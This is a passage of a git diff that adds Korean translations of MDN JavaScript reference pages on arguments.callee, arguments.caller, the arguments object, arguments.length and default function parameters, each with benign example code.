+<p>JavaScript 인터프리터가 제공된 모든 인수가 호출이 행해진 그 시점에 숫자임을 보장할 수 없다면, 인라인된 코드 앞에 모든 인수에 대한 검사 삽입이 필요합니다. 그렇지 않으면 그 함수를 인라인할 수 없습니다. 이제 이 특정한 경우에 스마트 인터프리터는 더 최적이고 사용되지 않을 값은 확인하지 않을 검사를 재배열할 수 있어야 합니다. 그러나 많은 경우에 그건 그냥 가능하지 않고 그러므로 인라인은 불가능하게 됩니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="익명_재귀_함수에서_arguments.callee_사용하기">익명 재귀 함수에서 <code>arguments.callee</code> 사용하기</h3>
+
+<p>재귀 함수는 자신을 참조할 수 있어야 합니다. 보통, 함수는 그 이름으로 자신을 참조합니다. 그러나, 익명 함수(<a href="/ko/docs/Web/JavaScript/Reference/Operators/function" title="function expression">함수 식</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function" title="Function constructor"><code>Function</code> 생성자</a>로 생성될 수 있는)는 이름이 없습니다. 그러므로 그를 참조하는 액세스 가능한 변수가 없는 경우, 함수가 자신을 참조할 수 있는 유일한 방법은 <code>arguments.callee</code>에 의해서입니다.</p>
+
+<p>다음 예는 차례로 팩토리얼 함수를 정의하고 반환하는 함수를 정의합니다. 이 예는 매우 실용적이지 않고 같은 결과가 <a href="/ko/docs/Web/JavaScript/Reference/Operators/function" title="named function expressions">유명 함수 식</a>으로 달성될 수 없는 경우가 거의 없습니다.</p>
+
+<pre class="brush: js">function create() {
+   return function(n) {
+      if (n &lt;= 1)
+         return 1;
+      return n * arguments.callee(n - 1);
+   };
+}
+
+var result = create()(5); // 반환값 120 (5 * 4 * 3 * 2 * 1)</pre>
+
+<h3 id="좋은_대안_없는_arguments.callee의_사용">좋은 대안 없는 <code>arguments.callee</code>의 사용</h3>
+
+<p>그러나, 다음과 같은 경우에는 <code>arguments.callee</code>에 대안이 없습니다. 그래서 그 사라짐(deprecation)은 버그가 될 수 있습니다 ({{Bug("725398")}} 참조):</p>
+
+<pre class="brush: js">function createPerson (sIdentity) {
+    var oPerson = new Function("alert(arguments.callee.identity);");
+    oPerson.identity = sIdentity;
+    return oPerson;
+}
+
+var john = createPerson("John Smith");
+
+john();</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.2에서 구현됨</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/arguments/caller/index.html b/files/ko/web/javascript/reference/functions/arguments/caller/index.html
new file mode 100644
index 0000000000..bcdc54c7dc
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/arguments/caller/index.html
@@ -0,0 +1,93 @@
+---
+title: arguments.caller
+slug: Web/JavaScript/Reference/Functions/arguments/caller
+translation_of: Archive/Web/JavaScript/arguments.caller
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>이전의 <strong><code>arguments.caller</code></strong> 속성은 현재 실행한 함수를 적용하여 제공했었습니다. 이 속성은 삭제되었으며 더 이상 작동하지 않습니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>이 속성은 더 이상 이용할 수 없습니다. 하지만 {{jsxref("Function.caller")}} 는 사용할 수 있습니다.</p>
+
+<pre class="brush: js">function whoCalled() {
+   if (whoCalled.caller == null)
+      console.log('I was called from the global scope.');
+   else
+      console.log(whoCalled.caller + ' called me!');
+}</pre>
+
+<h2 id="예">예</h2>
+
+<p>다음의 코드는 함수 내에서 <code>arguments.caller </code>값을 확인하기 위해 사용되었지만, 더 이상 작동하지 않습니다.</p>
+
+<pre class="brush: js example-bad">function whoCalled() {
+   if (arguments.caller == null)
+      console.log('I was called from the global scope.');
+   else
+      console.log(arguments.caller + ' called me!');
+}
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<p>초기 정의된 부분이 아닙니다. JavaScript 1.1에서 구현되었으며, 잠재적인 보안 취약의 우려로 ({{bug(7224)}}) 삭제되었습니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/arguments/index.html b/files/ko/web/javascript/reference/functions/arguments/index.html
new file mode 100644
index 0000000000..98b5f1385b
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/arguments/index.html
@@ -0,0 +1,189 @@
+---
+title: arguments 객체
+slug: Web/JavaScript/Reference/Functions/arguments
+tags:
+  - Functions
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Functions/arguments
+---
+<div>
+<div>{{jsSidebar("Functions")}}</div>
+</div>
+
+<p><strong><code>arguments</code></strong> 객체는 함수에 전달된 인수에 해당하는 <code>Array</code> 형태의 객체입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> ES6 호환 코드를 작성 중이라면 되도록 <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters">나머지 매개변수</a> 구문을 사용해야 합니다.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: "<code>Array</code> 형태"란 <code>arguments</code>가 {{jsxref("Array.length", "length")}} 속성과 더불어 0부터 인덱스 된 다른 속성을 가지고 있지만, {{jsxref("Array")}}의 {{jsxref("Array.prototype.forEach()", "forEach")}}, {{jsxref("Array.prototype.map()", "map")}}과 같은 내장 메서드를 가지고 있지 않다는 뜻입니다.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-arguments.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">arguments</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>arguments</code> 객체는 모든 함수 내에서 이용 가능한 지역 변수입니다. <code>arguments</code> 객체를 사용하여 함수 내에서 모든 인수를 참조할 수 있으며, 호출할 때 제공한 인수 각각에 대한 항목을 갖고 있습니다. 항목의 인덱스는 0부터 시작합니다.</p>
+
+<p>예를 들어, 함수가 세 개의 인수를 받은 경우 다음과 같이 접근할 수 있습니다.</p>
+
+<pre class="brush: js">arguments[0]
+arguments[1]
+arguments[2]
+</pre>
+
+<p>각 인수를 설정하거나 재할당할 수도 있습니다.</p>
+
+<pre class="brush: js">arguments[1] = 'new value';
+</pre>
+
+<p><code>arguments</code> 객체는 {{jsxref("Array")}}가 아닙니다. <code>Array</code>와 비슷하지만, {{jsxref("Array.prototype.length", "length")}} 빼고는 {{jsxref("Array.prototype.pop", "pop()")}}과 같은 어떤 <code>Array</code> 속성도 없습니다. 그러나 실제 <code>Array</code>로 변환할 수 있습니다:</p>
+
+<pre class="brush: js">var args = Array.prototype.slice.call(arguments);
+var args = [].slice.call(arguments);
+</pre>
+
+<p><code>arguments</code>를 실제 <code>Array</code>로 변환하기 위해 ES2015의 {{jsxref("Array.from()")}} 메서드 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Spread_operator" title="spread operator">전개 연산자</a>를 사용할 수도 있습니다.</p>
+
+<pre class="brush: js">var args = Array.from(arguments);
+var args = [...arguments];
+</pre>
+
+<p>당신이 형식상 받기로 선언된 것보다 많은 인수로 함수를 호출하는 경우 <code>arguments</code> 객체를 사용할 수 있습니다. 이 기법은 가변 인수가 전달될 수 있는 함수에 유용합니다. 함수에 전달된 인수의 수를 결정하기 위해 <code><a href="/ko/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code>를 쓰세요, 그 뒤에 <code>arguments</code> 객체를 사용하여 각 인수를 처리하세요. 함수 <a href="/ko/docs/Glossary/Signature/Function">signature</a>에 매개변수의 수를 결정하기 위해서는, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/length">Function.length</a></code> 속성을 쓰세요.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></dt>
+ <dd>현재 실행 중인 함수를 가리킵니다.</dd>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/caller">arguments.caller</a></code> {{ Obsolete_inline() }}</dt>
+ <dd>현재 실행 중인 함수를 호출한 함수를 가리킵니다.</dd>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/length">arguments.length</a></code></dt>
+ <dd>함수에 전달된 인수의 수를 가리킵니다.</dd>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/@@iterator">arguments[@@iterator]</a></code></dt>
+ <dd>arguments의 각 인덱스 값을 포함하는 새로운 Array Iterator 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="여러_문자열을_연결하는_함수_정의하기">여러 문자열을 연결하는 함수 정의하기</h3>
+
+<p>이 예는 여러 문자열을 연결하는 함수를 정의합니다. 함수의 유일한 형식 인수는 연결할 항목을 구분하는 문자를 지정하는 문자열입니다. 함수는 다음과 같이 정의됩니다:</p>
+
+<pre class="brush:js">function myConcat(separator) {
+  var args = Array.prototype.slice.call(arguments, 1);
+  return args.join(separator);
+}</pre>
+
+<p>이 함수에 인수를 얼마든지 전달할 수 있으며 리스트 내 항목처럼 각 인수를 사용하여 리스트를 만듭니다.</p>
+
+<pre class="brush:js">// "red, orange, blue" 반환
+myConcat(", ", "red", "orange", "blue");
+
+// "elephant; giraffe; lion; cheetah" 반환
+myConcat("; ", "elephant", "giraffe", "lion", "cheetah");
+
+// "sage. basil. oregano. pepper. parsley" 반환
+myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre>
+
+<h3 id="HTML_리스트를_만드는_함수_정의하기">HTML 리스트를 만드는 함수 정의하기</h3>
+
+<p>이 예는 리스트 HTML을 포함하는 문자열을 만드는 함수를 정의합니다. 함수의 유일한 형식 인수는 리스트가 정렬되지 않은(bulluet(글 머리 기호)가 붙는) 경우 "<code>u</code>" 또는 정렬된(번호가 매겨진) 경우 "<code>o</code>"인 문자열입니다. 함수는 다음과 같이 정의됩니다:</p>
+
+<pre class="brush:js">function list(type) {
+  var result = "&lt;" + type + "l&gt;&lt;li&gt;";
+  var args = Array.prototype.slice.call(arguments, 1);
+  result += args.join("&lt;/li&gt;&lt;li&gt;");
+  result += "&lt;/li&gt;&lt;/" + type + "l&gt;"; // end list
+
+  return result;
+}</pre>
+
+<p>이 함수에 인수를 얼마든지 전달할 수 있고, 표시된 유형의 리스트에 항목으로 각 인수를 추가합니다. 예를 들면:</p>
+
+<pre class="brush:js">var listHTML = list("u", "One", "Two", "Three");
+
+/* listHTML은:
+
+"&lt;ul&gt;&lt;li&gt;One&lt;/li&gt;&lt;li&gt;Two&lt;/li&gt;&lt;li&gt;Three&lt;/li&gt;&lt;/ul&gt;"
+
+*/</pre>
+
+<h3 id="나머지_기본_및_비구조화된_매개변수">나머지, 기본 및 비구조화된 매개변수</h3>
+
+<p><code>arguments</code> 객체는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="rest parameters">나머지 매개변수</a>, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="default parameters">기본 매개변수</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment" title="destructured parameters">비구조화된 매개변수</a>와 함께 사용될 수 있습니다.</p>
+
+<pre class="brush: js">function foo(...args) {
+  return arguments;
+}
+foo(1, 2, 3); // { "0": 1, "1": 2, "2": 3 }
+</pre>
+
+<p>그러나, 비엄격 함수에서는 <strong>mapped <code>arguments</code> 객체</strong>는 함수가 어떤 <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="rest parameters">나머지 매개변수</a>, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="default parameters">기본 매개변수</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment" title="destructured parameters">비구조화된 매개변수</a>든 포함하지 <strong>않는</strong> 경우에만 제공됩니다. 예를 들어, 기본 매개변수를 사용하는 다음 함수에서는, 100 대신에 <code>10</code>이 반환됩니다:</p>
+
+<pre class="brush: js">function bar(a=1) {
+  arguments[0] = 100;
+  return a;
+}
+bar(10); // 10
+</pre>
+
+<p>이 예에서, 어떤 <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="rest parameters">나머지 매개변수</a>, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="default parameters">기본 매개변수</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment" title="destructured parameters">비구조화된 매개변수</a>가 없는 경우에는, 100이 반환됩니다:</p>
+
+<pre class="brush: js">function zoo(a) {
+  arguments[0] = 100;
+  return a;
+}
+zoo(10); // 100
+
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.1에서 구현됨</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.functions.arguments")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/arguments/length/index.html b/files/ko/web/javascript/reference/functions/arguments/length/index.html
new file mode 100644
index 0000000000..d8ea3f0da4
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/arguments/length/index.html
@@ -0,0 +1,74 @@
+---
+title: arguments.length
+slug: Web/JavaScript/Reference/Functions/arguments/length
+translation_of: Web/JavaScript/Reference/Functions/arguments/length
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong><code>arguments.length</code></strong> 속성은 함수에 전달된 인수의 수를 포함하고 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">arguments.length</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>arguments.length 속성은 실제로 함수에 전달된 arguments 의 수를 제공합니다. 이것은 정의된 매개변수의 수보다 작을 수도 클 수도 있습니다. ({{jsxref("Function.length")}} 보기).</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="arguments.length_사용하기"><code>arguments.length</code> 사용하기</h3>
+
+<p>이 예시에서는 둘 또는 그 이상의 수를 더할 수 있는 함수를 정의합니다.</p>
+
+<pre class="brush: js">function adder(base /*, n2, ... */) {
+  base = Number(base);
+  for (var i = 1; i &lt; arguments.length; i++) {
+    base += Number(arguments[i]);
+  }
+  return base;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.functions.arguments.length")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Function.length")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/default_parameters/index.html b/files/ko/web/javascript/reference/functions/default_parameters/index.html
new file mode 100644
index 0000000000..2783b65844
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/default_parameters/index.html
@@ -0,0 +1,239 @@
+---
+title: 기본값 매개변수
+slug: Web/JavaScript/Reference/Functions/Default_parameters
+tags:
+  - ECMAScript2015
+  - ECMAScript6
+  - Functions
+  - JavaScript
+  - 기본값 매개변수
+translation_of: Web/JavaScript/Reference/Functions/Default_parameters
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p> 기본값 함수 매개변수 (<strong>default function parameter</strong>)를 사용하면 값이 없거나 <code>undefined</code>가 전달될 경우 이름붙은 매개변수를 기본값으로 초기화할 수 있습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-default.html")}}</p>
+
+<div class="hidden">
+<p>위의 상호작용가능한 예제의 소스는 깃허브 저장소에 저장됩니다. 상호작용 예제 프로젝트에 기여하고 싶다면 <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> 를 클론(clone)하여 풀 리퀘스트(pull request) 를 보내주세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">function [<em>name</em>]([<em>param1</em>[ = <em>defaultValue1</em> ][, ..., <em>paramN</em>[ = defaultValueN ]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>JavaScript에서, 함수의 매개변수는 <code>{{jsxref("undefined")}}</code>가 기본입니다. 그러나, 일부 상황에서는 다른 기본 값을 설정하는 것이 유용할 수 있습니다. 이때가 바로 기본값 매개변수 가 필요할 때 입니다.</p>
+
+<p>과거에 기본값 설정을 위한 일반적인 방법은 함수 내부(body)에서 매개변수 값을 검사해 <code>undefined</code>인 경우 값을 할당하는 것이었습니다.</p>
+
+<p>다음 예제에서, <code>multiply</code>호출시 <code>b</code>에 할당된  값이 없다면, <code>b</code> 값은 <code>a*b</code>를 평가할 때 <code>undefined</code>일 거고 <code>multiply</code> 호출은 <code>NaN</code>이 반환됩니다. </p>
+
+<pre class="notranslate"><code>function multiply(a, b) {
+  return a * b
+}
+
+multiply(5, 2)  // 10
+multiply(5)     // NaN !</code></pre>
+
+<p>이를 방지하기 위해서, 아래 두번째 줄과 같이  <code>multiply</code> 함수가 오직 한 개의 인수만 있다면  <code>b</code>를  <code>1</code>로 설정하는 방식을 사용하곤 했습니다.</p>
+
+<pre class="brush: js notranslate">function multiply(a, b) {
+  b = (typeof b !== 'undefined') ?  b : 1
+  return a*b
+}
+
+multiply(5, 2)   // 10
+multiply(5)      // 5
+</pre>
+
+<p>ES2015의 기본값 매개변수로 함수 내부 에서의 검사는 더 이상 필요치 않습니다. 이제, 간단히 함수 머리(head)에서 <code>b</code>의 기본값으로 <code>1</code> 로 설정할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">function multiply(a, b = 1) {
+  return a*b
+}
+
+multiply(5, 2)          // 10
+multiply(5)             // 5
+multiply(5, undefined)  // 5
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="undefined_vs._다른_거짓같은_값falsy_values_전달하기"><code>undefined</code> vs. 다른 거짓같은 값(falsy values) 전달하기</h3>
+
+<p>아래 예제중 두 번째 호출에서, 설사 두 번째 인수를 호출할 때 명시해서 <code>undefined</code> (<code>null</code> 혹은 {{glossary("falsy")}} 값이 아니긴 하지만 )로 설정하더라도 , <code>num</code> 인수의 값은 여전히 기본값입니다.</p>
+
+<pre class="brush: js notranslate">function test(num = 1) {
+  console.log(typeof num)
+}
+
+test()            // 'number' (num 은 1로 설정됨)
+test(undefined)   // 'number' (num 이 역시 1로 설정됨)
+
+// 다른 falsy values로 테스트 하기:
+test('')          // 'string' (num 은 ''로 설정됨)
+test(null)        // 'object' (num 은 null로 설정됨)
+</pre>
+
+<h3 id="호출_시_평가">호출 시 평가</h3>
+
+<p>기본 인수는 <em>호출</em> <em>시 </em>에 평가됩니다, 그래서 Python의 경우 와는 달리, 함수가 호출될 때마다 새로운 객체가 생성됩니다.</p>
+
+<pre class="brush: js notranslate">function append(value, array = []) {
+  array.push(value)
+  return array
+}
+
+append(1)  // [1]
+append(2)  // [2], [1, 2]가 아니라
+
+</pre>
+
+<p>이는 심지어 함수 및 변수에도 적용됩니다:</p>
+
+<pre class="brush: js notranslate">function callSomething(thing = something()) {
+  return thing
+}
+
+let numberOfTimesCalled = 0
+function something(){
+  numberOfTimesCalled += 1
+  return numberOfTimesCalled
+}
+
+callSomething()  // 1
+callSomething()  // 2
+</pre>
+
+<h3 id="앞쪽_매개변수는_뒷쪽의_매개변수_기본값에_사용할_수_있습니다">앞쪽 매개변수는 뒷쪽의 매개변수 기본값에 사용할 수 있습니다</h3>
+
+<p>매개 변수가 여러개일 때 앞쪽에( 왼쪽 부분) 정의된 매개변수는 뒷쪽에 정의된 매개변수의 기본값에  바로 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">function greet(name, greeting, message = greeting + ' ' + name) {
+  return [name, greeting, message]
+}
+
+greet('David', 'Hi')                      // ["David", "Hi", "HiDavid"]
+greet('David', 'Hi', 'Happy Birthday!')   // ["David", "Hi", "Happy Birthday!"]
+</pre>
+
+<p>이 기능은,  얼마나 많은 경계 조건(edge case)를 다룰수 있는지 보여주는, 아래 예제로 거의 설명 가능합니다.</p>
+
+<pre class="brush: js notranslate">function go() {
+  return ':P'
+}
+
+// 함수 정의가 간단해짐
+function withDefaults(a, b = 5, c = b, d = go(), e = this,
+                      f = arguments, g = this.value) {
+  return [a,b,c,d,e,f,g]
+}
+
+// 함수 정의가 길고 장황함
+function withoutDefaults(a, b, c, d, e, f, g){
+  switch(arguments.length){
+    case 0:
+      a;
+    case 1:
+      b = 5;
+    case 2:
+      c = b;
+    case 3:
+      d = go();
+    case 4:
+      e = this;
+    case 5:
+      f = arguments;
+    case 6:
+      g = this.value;
+    default:
+  }
+  return [a,b,c,d,e,f,g];
+}
+
+// 아래와 같이 함수 호출하면 동일한 결과를 보임
+
+withDefaults.call({value:"=^_^="});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+
+withoutDefaults.call({value:"=^_^="});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+</pre>
+
+<h3 id="유효범위_효과_Scope_Effects">유효범위 효과 (Scope Effects)</h3>
+
+<p>한개 이상의 매개변수에 기본값이 지정되면 특별히 매개변수 목록내의 식별자들(identifiers) 대상으로, <a href="https://tc39.es/ecma262/#sec-functiondeclarationinstantiation">두번째 스코프</a> (Environment Record) 가 생성됩니다.</p>
+
+<p>이 말은 함수 내부에 선언된 함수와 변수들은 매개변수 기본값 초기화시에 참조할 수  없다는 말입니다; 그렇게 하려고 하면 실행시간 에러인 {{jsxref("ReferenceError")}} 를 유발합니다.</p>
+
+<p>이 말은 또한 함수 내부에서 <code>var</code> 로 선언된 변수는 동일한 이름을 가진 매개변수를 가리게 되는, 중첩 <code>var</code> 선언 으로 인한 일반적인 동작이 일어나지 않는다는 말입니다.</p>
+
+<p>아래 함수는 호출되면 <code>ReferenceError</code> 를 발생시킵니다. 매개변수 기본값이 함수 내부의 자식 유효범위를 참조할 수 없기 때문입니다.</p>
+
+<pre class="brush: js example-bad notranslate">function f(a = go()) { // `f`가 호출 되면 `ReferenceError` 발생
+  function go() { return ':P' }
+}</pre>
+
+<p>...그리고 아래 함수는 <code>undefined</code> 를 프린트 하는데,  <code>var a</code> 가 함수 내부 대상의 유효범위내에서만 효과를 가지기 때문입니다. ( 매개변수 목록이 대상인 부모 스코프가 아니라)</p>
+
+<pre class="brush: js example-bad notranslate">function f(a, b = () =&gt; console.log(a)) {
+  var a = 1
+  b() // `undefined`를 인쇄하는데, 매개변수 기본값이 자체 스코프에 있기 때문입니다
+} </pre>
+
+<h3 id="기본값_매개변수_뒤쪽의_기본값_없는_매개변수">기본값 매개변수 뒤쪽의 기본값 없는 매개변수</h3>
+
+<p>매개변수는 여전히 왼쪽에서 오른쪽으로 설정됩니다. 아래 예제에서 뒷쪽에 기본값이 없는 매개변수가 있지만 기본값 매개변수를 덮어씁니다.</p>
+
+<pre class="brush: js notranslate">function f(x=1, y) {
+  return [x, y];
+}
+
+f()   // [1, undefined]
+f(2)  // [2, undefined]
+</pre>
+
+<h3 id="기본값_할당_있는_해체된_매개변수">기본값 할당 있는 해체된 매개변수</h3>
+
+<p>기본값 할당을 {{jsxref("Operators/Destructuring_assignment", "destructuring assignment", "", 1)}} 표기와 함께 사용할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">function f([x, y] = [1, 2], {z: z} = {z: 3}) {
+  return x + y + z
+}
+
+f()  // 6</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>이 페이지의 호환성 표는 구조화된 데이타로 부터 생성됩니다. 해당 데이타 업데이트에 기여하고 싶다면 이 깃허브 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 체크아웃 해서 풀 리퀘스트를 보내주세요.</p>
+</div>
+
+<p>{{Compat("javascript.functions.default_parameters")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values" rel="external" title="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values">Original proposal at ecmascript.org</a></li>
+</ul>
